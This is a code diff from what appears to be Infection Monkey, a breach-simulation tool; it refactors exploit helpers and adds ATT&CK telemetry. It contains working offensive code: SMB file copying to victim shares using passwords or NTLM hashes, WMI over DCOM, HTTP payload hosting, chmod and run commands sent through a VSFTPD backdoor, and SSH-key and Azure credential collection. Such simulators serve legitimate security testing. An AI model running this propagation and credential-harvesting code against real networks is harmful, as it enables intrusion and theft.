return WormConfiguration.dropper_target_path_win_64
|
||||
else:
|
||||
LOG.error("Could not figure out what type of monkey server was trying to upload, "
|
||||
"thus destination path can not be chosen.")
|
||||
return False
|
||||
except AttributeError:
|
||||
LOG.error("Seems like monkey's source configuration property names changed. "
|
||||
"Can not get destination path to upload monkey")
|
||||
return False
|
|
@ -0,0 +1,135 @@
|
|||
import logging
|
||||
import socket
|
||||
import struct
|
||||
import sys
|
||||
|
||||
from infection_monkey.network.info import get_routes
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def get_interface_to_target(dst):
|
||||
"""
|
||||
:param dst: destination IP address string without port. E.G. '192.168.1.1.'
|
||||
:return: IP address string of an interface that can connect to the target. E.G. '192.168.1.4.'
|
||||
"""
|
||||
if sys.platform == "win32":
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
try:
|
||||
s.connect((dst, 1))
|
||||
ip_to_dst = s.getsockname()[0]
|
||||
except KeyError:
|
||||
LOG.debug("Couldn't get an interface to the target, presuming that target is localhost.")
|
||||
ip_to_dst = '127.0.0.1'
|
||||
finally:
|
||||
s.close()
|
||||
return ip_to_dst
|
||||
else:
|
||||
# based on scapy implementation
|
||||
|
||||
def atol(x):
|
||||
ip = socket.inet_aton(x)
|
||||
return struct.unpack("!I", ip)[0]
|
||||
|
||||
routes = get_routes()
|
||||
dst = atol(dst)
|
||||
paths = []
|
||||
for d, m, gw, i, a in routes:
|
||||
aa = atol(a)
|
||||
if aa == dst:
|
||||
paths.append((0xffffffff, ("lo", a, "0.0.0.0")))
|
||||
if (dst & m) == (d & m):
|
||||
paths.append((m, (i, a, gw)))
|
||||
if not paths:
|
||||
return None
|
||||
paths.sort()
|
||||
ret = paths[-1][1]
|
||||
return ret[1]
|
||||
|
||||
|
||||
def get_target_monkey(host):
|
||||
from infection_monkey.control import ControlClient
|
||||
import platform
|
||||
import sys
|
||||
|
||||
if host.monkey_exe:
|
||||
return host.monkey_exe
|
||||
|
||||
if not host.os.get('type'):
|
||||
return None
|
||||
|
||||
monkey_path = ControlClient.download_monkey_exe(host)
|
||||
|
||||
if host.os.get('machine') and monkey_path:
|
||||
host.monkey_exe = monkey_path
|
||||
|
||||
if not monkey_path:
|
||||
if host.os.get('type') == platform.system().lower():
|
||||
# if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe
|
||||
if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \
|
||||
host.os.get('machine', '').lower() == platform.machine().lower():
|
||||
monkey_path = sys.executable
|
||||
|
||||
return monkey_path
|
||||
|
||||
|
||||
def get_target_monkey_by_os(is_windows, is_32bit):
|
||||
from infection_monkey.control import ControlClient
|
||||
return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
|
||||
|
||||
|
||||
def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None):
|
||||
cmdline = ""
|
||||
|
||||
if parent is not None:
|
||||
cmdline += " -p " + parent
|
||||
if tunnel is not None:
|
||||
cmdline += " -t " + tunnel
|
||||
if server is not None:
|
||||
cmdline += " -s " + server
|
||||
if depth is not None:
|
||||
if depth < 0:
|
||||
depth = 0
|
||||
cmdline += " -d %d" % depth
|
||||
if location is not None:
|
||||
cmdline += " -l %s" % location
|
||||
|
||||
return cmdline
|
||||
|
||||
|
||||
def build_monkey_commandline(target_host, depth, location=None):
|
||||
from infection_monkey.config import GUID
|
||||
return build_monkey_commandline_explicitly(
|
||||
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
|
||||
|
||||
|
||||
def get_monkey_depth():
|
||||
from infection_monkey.config import WormConfiguration
|
||||
return WormConfiguration.depth
|
||||
|
||||
|
||||
def get_monkey_dest_path(url_to_monkey):
|
||||
"""
|
||||
Gets destination path from monkey's source url.
|
||||
:param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
|
||||
:return: Corresponding monkey path from configuration
|
||||
"""
|
||||
from infection_monkey.config import WormConfiguration
|
||||
if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey):
|
||||
LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
|
||||
return False
|
||||
try:
|
||||
if 'linux' in url_to_monkey:
|
||||
return WormConfiguration.dropper_target_path_linux
|
||||
elif 'windows-32' in url_to_monkey:
|
||||
return WormConfiguration.dropper_target_path_win_32
|
||||
elif 'windows-64' in url_to_monkey:
|
||||
return WormConfiguration.dropper_target_path_win_64
|
||||
else:
|
||||
LOG.error("Could not figure out what type of monkey server was trying to upload, "
|
||||
"thus destination path can not be chosen.")
|
||||
return False
|
||||
except AttributeError:
|
||||
LOG.error("Seems like monkey's source configuration property names changed. "
|
||||
"Can not get destination path to upload monkey")
|
||||
return False
|
|
@ -0,0 +1,62 @@
|
|||
import logging
|
||||
import os
|
||||
import os.path
|
||||
import urllib
|
||||
from threading import Lock
|
||||
|
||||
from infection_monkey.network.firewall import app as firewall
|
||||
from infection_monkey.network.info import get_free_tcp_port
|
||||
from infection_monkey.transport import HTTPServer, LockedHTTPServer
|
||||
from infection_monkey.exploit.tools.helpers import get_interface_to_target
|
||||
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class HTTPTools(object):
|
||||
@staticmethod
|
||||
def create_transfer(host, src_path, local_ip=None, local_port=None):
|
||||
if not local_port:
|
||||
local_port = get_free_tcp_port()
|
||||
|
||||
if not local_ip:
|
||||
local_ip = get_interface_to_target(host.ip_addr)
|
||||
|
||||
if not firewall.listen_allowed():
|
||||
return None, None
|
||||
|
||||
httpd = HTTPServer(local_ip, local_port, src_path)
|
||||
httpd.daemon = True
|
||||
httpd.start()
|
||||
|
||||
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
|
||||
|
||||
@staticmethod
|
||||
def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
|
||||
"""
|
||||
Create http server for file transfer with a lock
|
||||
:param host: Variable with target's information
|
||||
:param src_path: Monkey's path on current system
|
||||
:param local_ip: IP where to host server
|
||||
:param local_port: Port at which to host monkey's download
|
||||
:return: Server address in http://%s:%s/%s format and LockedHTTPServer handler
|
||||
"""
|
||||
# To avoid race conditions we pass a locked lock to http servers thread
|
||||
lock = Lock()
|
||||
lock.acquire()
|
||||
if not local_port:
|
||||
local_port = get_free_tcp_port()
|
||||
|
||||
if not local_ip:
|
||||
local_ip = get_interface_to_target(host.ip_addr)
|
||||
|
||||
if not firewall.listen_allowed():
|
||||
LOG.error("Firewall is not allowed to listen for incomming ports. Aborting")
|
||||
return None, None
|
||||
|
||||
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
|
||||
httpd.start()
|
||||
lock.acquire()
|
||||
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
|
|
@ -0,0 +1,223 @@
|
|||
import logging
|
||||
import ntpath
|
||||
import pprint
|
||||
|
||||
from impacket.dcerpc.v5 import transport, srvs
|
||||
from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
|
||||
from impacket.smbconnection import SMBConnection, SMB_DIALECT
|
||||
|
||||
import infection_monkey.config
|
||||
import infection_monkey.monkeyfs as monkeyfs
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||
from infection_monkey.exploit.tools.helpers import get_interface_to_target
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class SmbTools(object):
|
||||
|
||||
@staticmethod
|
||||
def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60):
|
||||
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
|
||||
config = infection_monkey.config.WormConfiguration
|
||||
src_file_size = monkeyfs.getsize(src_path)
|
||||
|
||||
smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
|
||||
if not smb:
|
||||
return None
|
||||
|
||||
# skip guest users
|
||||
if smb.isGuestSession() > 0:
|
||||
LOG.debug("Connection to %r granted guest privileges with user: %s, password: '%s',"
|
||||
" LM hash: %s, NTLM hash: %s",
|
||||
host, username, password, lm_hash, ntlm_hash)
|
||||
|
||||
try:
|
||||
smb.logoff()
|
||||
except:
|
||||
pass
|
||||
|
||||
return None
|
||||
|
||||
try:
|
||||
resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
|
||||
except Exception as exc:
|
||||
LOG.debug("Error requesting server info from %r over SMB: %s",
|
||||
host, exc)
|
||||
return None
|
||||
|
||||
info = {'major_version': resp['InfoStruct']['ServerInfo102']['sv102_version_major'],
|
||||
'minor_version': resp['InfoStruct']['ServerInfo102']['sv102_version_minor'],
|
||||
'server_name': resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "),
|
||||
'server_comment': resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "),
|
||||
'server_user_path': resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "),
|
||||
'simultaneous_users': resp['InfoStruct']['ServerInfo102']['sv102_users']}
|
||||
|
||||
LOG.debug("Connected to %r using %s:\n%s",
|
||||
host, dialect, pprint.pformat(info))
|
||||
|
||||
try:
|
||||
resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
|
||||
except Exception as exc:
|
||||
LOG.debug("Error enumerating server shares from %r over SMB: %s",
|
||||
host, exc)
|
||||
return None
|
||||
|
||||
resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer']
|
||||
|
||||
high_priority_shares = ()
|
||||
low_priority_shares = ()
|
||||
file_name = ntpath.split(dst_path)[-1]
|
||||
|
||||
for i in range(len(resp)):
|
||||
share_name = resp[i]['shi2_netname'].strip("\0 ")
|
||||
share_path = resp[i]['shi2_path'].strip("\0 ")
|
||||
current_uses = resp[i]['shi2_current_uses']
|
||||
max_uses = resp[i]['shi2_max_uses']
|
||||
|
||||
if current_uses >= max_uses:
|
||||
LOG.debug("Skipping share '%s' on victim %r because max uses is exceeded",
|
||||
share_name, host)
|
||||
continue
|
||||
elif not share_path:
|
||||
LOG.debug("Skipping share '%s' on victim %r because share path is invalid",
|
||||
share_name, host)
|
||||
continue
|
||||
|
||||
share_info = {'share_name': share_name,
|
||||
'share_path': share_path}
|
||||
|
||||
if dst_path.lower().startswith(share_path.lower()):
|
||||
high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),)
|
||||
|
||||
low_priority_shares += ((ntpath.sep + file_name, share_info),)
|
||||
|
||||
shares = high_priority_shares + low_priority_shares
|
||||
|
||||
file_uploaded = False
|
||||
for remote_path, share in shares:
|
||||
share_name = share['share_name']
|
||||
share_path = share['share_path']
|
||||
|
||||
if not smb:
|
||||
smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
|
||||
if not smb:
|
||||
return None
|
||||
|
||||
try:
|
||||
tid = smb.connectTree(share_name)
|
||||
except Exception as exc:
|
||||
LOG.debug("Error connecting tree to share '%s' on victim %r: %s",
|
||||
share_name, host, exc)
|
||||
continue
|
||||
|
||||
LOG.debug("Trying to copy monkey file to share '%s' [%s + %s] on victim %r",
|
||||
share_name, share_path, remote_path, host.ip_addr[0], )
|
||||
|
||||
remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep))
|
||||
|
||||
# check if file is found on destination
|
||||
if config.skip_exploit_if_file_exist:
|
||||
try:
|
||||
file_info = smb.listPath(share_name, remote_path)
|
||||
if file_info:
|
||||
if src_file_size == file_info[0].get_filesize():
|
||||
LOG.debug("Remote monkey file is same as source, skipping copy")
|
||||
return remote_full_path
|
||||
|
||||
LOG.debug("Remote monkey file is found but different, moving along with attack")
|
||||
except:
|
||||
pass # file isn't found on remote victim, moving on
|
||||
|
||||
try:
|
||||
with monkeyfs.open(src_path, 'rb') as source_file:
|
||||
# make sure of the timeout
|
||||
smb.setTimeout(timeout)
|
||||
smb.putFile(share_name, remote_path, source_file.read)
|
||||
|
||||
file_uploaded = True
|
||||
T1105Telem(ScanStatus.USED,
|
||||
get_interface_to_target(host.ip_addr),
|
||||
host.ip_addr,
|
||||
dst_path).send()
|
||||
LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
|
||||
src_path, share_name, share_path, host)
|
||||
|
||||
break
|
||||
except Exception as exc:
|
||||
LOG.debug("Error uploading monkey to share '%s' on victim %r: %s",
|
||||
share_name, host, exc)
|
||||
T1105Telem(ScanStatus.SCANNED,
|
||||
get_interface_to_target(host.ip_addr),
|
||||
host.ip_addr,
|
||||
dst_path).send()
|
||||
continue
|
||||
finally:
|
||||
try:
|
||||
smb.logoff()
|
||||
except:
|
||||
pass
|
||||
|
||||
smb = None
|
||||
|
||||
if not file_uploaded:
|
||||
LOG.debug("Couldn't find a writable share for exploiting"
|
||||
" victim %r with username: %s, password: '%s', LM hash: %s, NTLM hash: %s",
|
||||
host, username, password, lm_hash, ntlm_hash)
|
||||
return None
|
||||
|
||||
return remote_full_path
|
||||
|
||||
@staticmethod
|
||||
def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60):
|
||||
try:
|
||||
smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
|
||||
except Exception as exc:
|
||||
LOG.debug("SMB connection to %r on port 445 failed,"
|
||||
" trying port 139 (%s)", host, exc)
|
||||
|
||||
try:
|
||||
smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
|
||||
except Exception as exc:
|
||||
LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
|
||||
host, exc)
|
||||
return None, None
|
||||
|
||||
dialect = {SMB_DIALECT: "SMBv1",
|
||||
SMB2_DIALECT_002: "SMBv2.0",
|
||||
SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0")
|
||||
|
||||
# we know this should work because the WMI connection worked
|
||||
try:
|
||||
smb.login(username, password, '', lm_hash, ntlm_hash)
|
||||
except Exception as exc:
|
||||
LOG.debug("Error while logging into %r using user: %s, password: '%s', LM hash: %s, NTLM hash: %s: %s",
|
||||
host, username, password, lm_hash, ntlm_hash, exc)
|
||||
return None, dialect
|
||||
|
||||
smb.setTimeout(timeout)
|
||||
return smb, dialect
|
||||
|
||||
@staticmethod
|
||||
def execute_rpc_call(smb, rpc_func, *args):
|
||||
dce = SmbTools.get_dce_bind(smb)
|
||||
rpc_method_wrapper = getattr(srvs, rpc_func, None)
|
||||
if not rpc_method_wrapper:
|
||||
raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,))
|
||||
|
||||
return rpc_method_wrapper(dce, *args)
|
||||
|
||||
@staticmethod
|
||||
def get_dce_bind(smb):
|
||||
rpctransport = transport.SMBTransport(smb.getRemoteHost(),
|
||||
smb.getRemoteHost(),
|
||||
filename=r'\srvsvc',
|
||||
smb_connection=smb)
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
dce.connect()
|
||||
dce.bind(srvs.MSRPC_UUID_SRVS)
|
||||
|
||||
return dce
|
|
@ -0,0 +1,150 @@
|
|||
import logging
|
||||
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class DceRpcException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class AccessDeniedException(Exception):
|
||||
def __init__(self, host, username, password, domain):
|
||||
super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" %
|
||||
(host, domain, username, password))
|
||||
|
||||
|
||||
class WmiTools(object):
|
||||
class WmiConnection(object):
|
||||
def __init__(self):
|
||||
self._dcom = None
|
||||
self._iWbemServices = None
|
||||
|
||||
@property
|
||||
def connected(self):
|
||||
return self._dcom is not None
|
||||
|
||||
def connect(self, host, username, password, domain=None, lmhash="", nthash=""):
|
||||
if not domain:
|
||||
domain = host.ip_addr
|
||||
|
||||
dcom = DCOMConnection(host.ip_addr,
|
||||
username=username,
|
||||
password=password,
|
||||
domain=domain,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
oxidResolver=True)
|
||||
|
||||
try:
|
||||
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
|
||||
wmi.IID_IWbemLevel1Login)
|
||||
except Exception as exc:
|
||||
dcom.disconnect()
|
||||
|
||||
if "rpc_s_access_denied" == exc.message:
|
||||
raise AccessDeniedException(host, username, password, domain)
|
||||
|
||||
raise
|
||||
|
||||
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
||||
|
||||
try:
|
||||
self._iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
|
||||
self._dcom = dcom
|
||||
except:
|
||||
dcom.disconnect()
|
||||
|
||||
raise
|
||||
finally:
|
||||
iWbemLevel1Login.RemRelease()
|
||||
|
||||
def close(self):
|
||||
assert self.connected, "WmiConnection isn't connected"
|
||||
|
||||
self._iWbemServices.RemRelease()
|
||||
self._iWbemServices = None
|
||||
|
||||
self._dcom.disconnect()
|
||||
self._dcom = None
|
||||
|
||||
@staticmethod
|
||||
def dcom_wrap(func):
|
||||
def _wrapper(*args, **kwarg):
|
||||
try:
|
||||
return func(*args, **kwarg)
|
||||
finally:
|
||||
WmiTools.dcom_cleanup()
|
||||
|
||||
return _wrapper
|
||||
|
||||
@staticmethod
|
||||
def dcom_cleanup():
|
||||
for port_map in DCOMConnection.PORTMAPS.keys():
|
||||
del DCOMConnection.PORTMAPS[port_map]
|
||||
for oid_set in DCOMConnection.OID_SET.keys():
|
||||
del DCOMConnection.OID_SET[port_map]
|
||||
|
||||
DCOMConnection.OID_SET = {}
|
||||
DCOMConnection.PORTMAPS = {}
|
||||
if DCOMConnection.PINGTIMER:
|
||||
DCOMConnection.PINGTIMER.cancel()
|
||||
DCOMConnection.PINGTIMER.join()
|
||||
DCOMConnection.PINGTIMER = None
|
||||
|
||||
@staticmethod
|
||||
def get_object(wmi_connection, object_name):
|
||||
assert isinstance(wmi_connection, WmiTools.WmiConnection)
|
||||
assert wmi_connection.connected, "WmiConnection isn't connected"
|
||||
|
||||
return wmi_connection._iWbemServices.GetObject(object_name)[0]
|
||||
|
||||
@staticmethod
|
||||
def list_object(wmi_connection, object_name, fields=None, where=None):
|
||||
assert isinstance(wmi_connection, WmiTools.WmiConnection)
|
||||
assert wmi_connection.connected, "WmiConnection isn't connected"
|
||||
|
||||
if fields:
|
||||
fields_query = ",".join(fields)
|
||||
else:
|
||||
fields_query = "*"
|
||||
|
||||
wql_query = "SELECT %s FROM %s" % (fields_query, object_name)
|
||||
|
||||
if where:
|
||||
wql_query += " WHERE %s" % (where,)
|
||||
|
||||
LOG.debug("Execution WQL query: %r", wql_query)
|
||||
|
||||
iEnumWbemClassObject = wmi_connection._iWbemServices.ExecQuery(wql_query)
|
||||
|
||||
query = []
|
||||
try:
|
||||
while True:
|
||||
try:
|
||||
next_item = iEnumWbemClassObject.Next(0xffffffff, 1)[0]
|
||||
record = next_item.getProperties()
|
||||
|
||||
if not fields:
|
||||
fields = record.keys()
|
||||
|
||||
query_record = {}
|
||||
for key in fields:
|
||||
query_record[key] = record[key]['value']
|
||||
|
||||
query.append(query_record)
|
||||
except DCERPCSessionError as exc:
|
||||
if 1 == exc.error_code:
|
||||
break
|
||||
|
||||
raise
|
||||
finally:
|
||||
iEnumWbemClassObject.RemRelease()
|
||||
|
||||
return query
|
|
@ -6,12 +6,16 @@
|
|||
|
||||
import socket
|
||||
import time
|
||||
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.exploit.tools import build_monkey_commandline
|
||||
from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
|
||||
from infection_monkey.exploit.tools.helpers import get_target_monkey, build_monkey_commandline, get_monkey_depth
|
||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||
from infection_monkey.model import MONKEY_ARG, CHMOD_MONKEY, RUN_MONKEY, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT
|
||||
from logging import getLogger
|
||||
|
||||
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
|
||||
|
||||
LOG = getLogger(__name__)
|
||||
|
||||
__author__ = 'D3fa1t'
|
||||
|
@ -125,6 +129,7 @@ class VSFTPDExploiter(HostExploiter):
|
|||
change_permission = str.encode(str(change_permission) + '\n')
|
||||
LOG.info("change_permission command is %s", change_permission)
|
||||
backdoor_socket.send(change_permission)
|
||||
T1222Telem(ScanStatus.USED, change_permission, self.host).send()
|
||||
|
||||
# Run monkey on the machine
|
||||
parameters = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||
|
|
|
@ -5,10 +5,12 @@ from abc import abstractmethod
|
|||
|
||||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.model import *
|
||||
from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools
|
||||
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
|
||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||
from infection_monkey.network.tools import check_tcp_port, tcp_port_to_service
|
||||
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
|
||||
from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
|
||||
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
|
||||
|
||||
__author__ = 'VakarisZ'
|
||||
|
||||
|
@ -366,8 +368,10 @@ class WebRCE(HostExploiter):
|
|||
command = CHMOD_MONKEY % {'monkey_path': path}
|
||||
try:
|
||||
resp = self.exploit(url, command)
|
||||
T1222Telem(ScanStatus.USED, command, self.host).send()
|
||||
except Exception as e:
|
||||
LOG.error("Something went wrong while trying to change permission: %s" % e)
|
||||
T1222Telem(ScanStatus.SCANNED, "", self.host).send()
|
||||
return False
|
||||
# If exploiter returns True / False
|
||||
if type(resp) is bool:
|
||||
|
|
|
@ -9,7 +9,9 @@ from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
|
|||
|
||||
from infection_monkey.exploit.web_rce import WebRCE
|
||||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target
|
||||
from infection_monkey.exploit.tools.helpers import get_interface_to_target
|
||||
from infection_monkey.network.info import get_free_tcp_port
|
||||
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
|
||||
|
||||
|
||||
__author__ = "VakarisZ"
|
||||
|
|
|
@ -14,11 +14,11 @@ from enum import IntEnum
|
|||
from impacket import uuid
|
||||
from impacket.dcerpc.v5 import transport
|
||||
|
||||
from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
|
||||
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
|
||||
from infection_monkey.exploit.tools.smb_tools import SmbTools
|
||||
from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
|
||||
from infection_monkey.network import SMBFinger
|
||||
from infection_monkey.network.tools import check_tcp_port
|
||||
from infection_monkey.exploit.tools import build_monkey_commandline
|
||||
from . import HostExploiter
|
||||
|
||||
LOG = getLogger(__name__)
|
||||
|
|
|
@ -6,8 +6,11 @@ import traceback
|
|||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
|
||||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, \
|
||||
from infection_monkey.exploit.tools.helpers import get_target_monkey, \
|
||||
get_monkey_depth, build_monkey_commandline
|
||||
from infection_monkey.exploit.tools.wmi_tools import AccessDeniedException
|
||||
from infection_monkey.exploit.tools.smb_tools import SmbTools
|
||||
from infection_monkey.exploit.tools.wmi_tools import WmiTools
|
||||
from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
|
||||
|
|
|
@ -25,7 +25,7 @@ from infection_monkey.telemetry.tunnel_telem import TunnelTelem
|
|||
from infection_monkey.windows_upgrader import WindowsUpgrader
|
||||
from infection_monkey.post_breach.post_breach_handler import PostBreach
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.exploit.tools import get_interface_to_target
|
||||
from infection_monkey.exploit.tools.helpers import get_interface_to_target
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
|
@ -67,10 +67,7 @@ class InfectionMonkey(object):
|
|||
self._parent = self._opts.parent
|
||||
self._default_tunnel = self._opts.tunnel
|
||||
self._default_server = self._opts.server
|
||||
try:
|
||||
self._default_server_port = self._default_server.split(':')[1]
|
||||
except KeyError:
|
||||
self._default_server_port = ''
|
||||
|
||||
if self._opts.depth:
|
||||
WormConfiguration._depth_from_commandline = True
|
||||
self._keep_running = True
|
||||
|
@ -87,9 +84,10 @@ class InfectionMonkey(object):
|
|||
def start(self):
|
||||
LOG.info("Monkey is running...")
|
||||
|
||||
if not ControlClient.find_server(default_tunnel=self._default_tunnel):
|
||||
LOG.info("Monkey couldn't find server. Going down.")
|
||||
# Sets island's IP and port for monkey to communicate to
|
||||
if not self.set_default_server():
|
||||
return
|
||||
self.set_default_port()
|
||||
|
||||
# Create a dir for monkey files if there isn't one
|
||||
utils.create_monkey_dir()
|
||||
|
@ -116,9 +114,6 @@ class InfectionMonkey(object):
|
|||
monkey_tunnel.start()
|
||||
|
||||
StateTelem(False).send()
|
||||
|
||||
self._default_server = WormConfiguration.current_server
|
||||
LOG.debug("default server: %s" % self._default_server)
|
||||
TunnelTelem().send()
|
||||
|
||||
if WormConfiguration.collect_system_info:
|
||||
|
@ -184,7 +179,7 @@ class InfectionMonkey(object):
|
|||
(':'+self._default_server_port if self._default_server_port else ''))
|
||||
else:
|
||||
machine.set_default_server(self._default_server)
|
||||
LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine))
|
||||
LOG.debug("Default server for machine: %r set to %s" % (machine, machine.default_server))
|
||||
|
||||
# Order exploits according to their type
|
||||
if WormConfiguration.should_exploit:
|
||||
|
@ -329,3 +324,17 @@ class InfectionMonkey(object):
|
|||
self._keep_running = False
|
||||
|
||||
LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit)
|
||||
|
||||
def set_default_port(self):
|
||||
try:
|
||||
self._default_server_port = self._default_server.split(':')[1]
|
||||
except KeyError:
|
||||
self._default_server_port = ''
|
||||
|
||||
def set_default_server(self):
|
||||
if not ControlClient.find_server(default_tunnel=self._default_tunnel):
|
||||
LOG.info("Monkey couldn't find server. Going down.")
|
||||
return False
|
||||
self._default_server = WormConfiguration.current_server
|
||||
LOG.debug("default server set to: %s" % self._default_server)
|
||||
return True
|
||||
|
|
|
@ -6,6 +6,9 @@ from infection_monkey.post_breach.pba import PBA
|
|||
from infection_monkey.control import ControlClient
|
||||
from infection_monkey.config import WormConfiguration
|
||||
from infection_monkey.utils import get_monkey_dir_path
|
||||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.exploit.tools.helpers import get_interface_to_target
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
@ -79,9 +82,22 @@ class UsersPBA(PBA):
|
|||
|
||||
pba_file_contents = ControlClient.get_pba_file(filename)
|
||||
|
||||
status = None
|
||||
if not pba_file_contents or not pba_file_contents.content:
|
||||
LOG.error("Island didn't respond with post breach file.")
|
||||
status = ScanStatus.SCANNED
|
||||
|
||||
if not status:
|
||||
status = ScanStatus.USED
|
||||
|
||||
T1105Telem(status,
|
||||
WormConfiguration.current_server.split(':')[0],
|
||||
get_interface_to_target(WormConfiguration.current_server.split(':')[0]),
|
||||
filename).send()
|
||||
|
||||
if status == ScanStatus.SCANNED:
|
||||
return False
|
||||
|
||||
try:
|
||||
with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file:
|
||||
written_PBA_file.write(pba_file_contents.content)
|
||||
|
|
|
@ -3,6 +3,9 @@ import pwd
|
|||
import os
|
||||
import glob
|
||||
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.telemetry.attack.t1005_telem import T1005Telem
|
||||
|
||||
__author__ = 'VakarisZ'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
@ -71,6 +74,7 @@ class SSHCollector(object):
|
|||
if private_key.find('ENCRYPTED') == -1:
|
||||
info['private_key'] = private_key
|
||||
LOG.info("Found private key in %s" % private)
|
||||
T1005Telem(ScanStatus.USED, 'SSH key', "Path: %s" % private).send()
|
||||
else:
|
||||
continue
|
||||
except (IOError, OSError):
|
||||
|
|
|
@ -5,6 +5,9 @@ import json
|
|||
import glob
|
||||
import subprocess
|
||||
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.telemetry.attack.t1005_telem import T1005Telem
|
||||
|
||||
__author__ = 'danielg'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
@ -54,6 +57,7 @@ class AzureCollector(object):
|
|||
decrypt_proc = subprocess.Popen(decrypt_command.split(), stdout=subprocess.PIPE, stdin=subprocess.PIPE)
|
||||
decrypt_raw = decrypt_proc.communicate(input=b64_result)[0]
|
||||
decrypt_data = json.loads(decrypt_raw)
|
||||
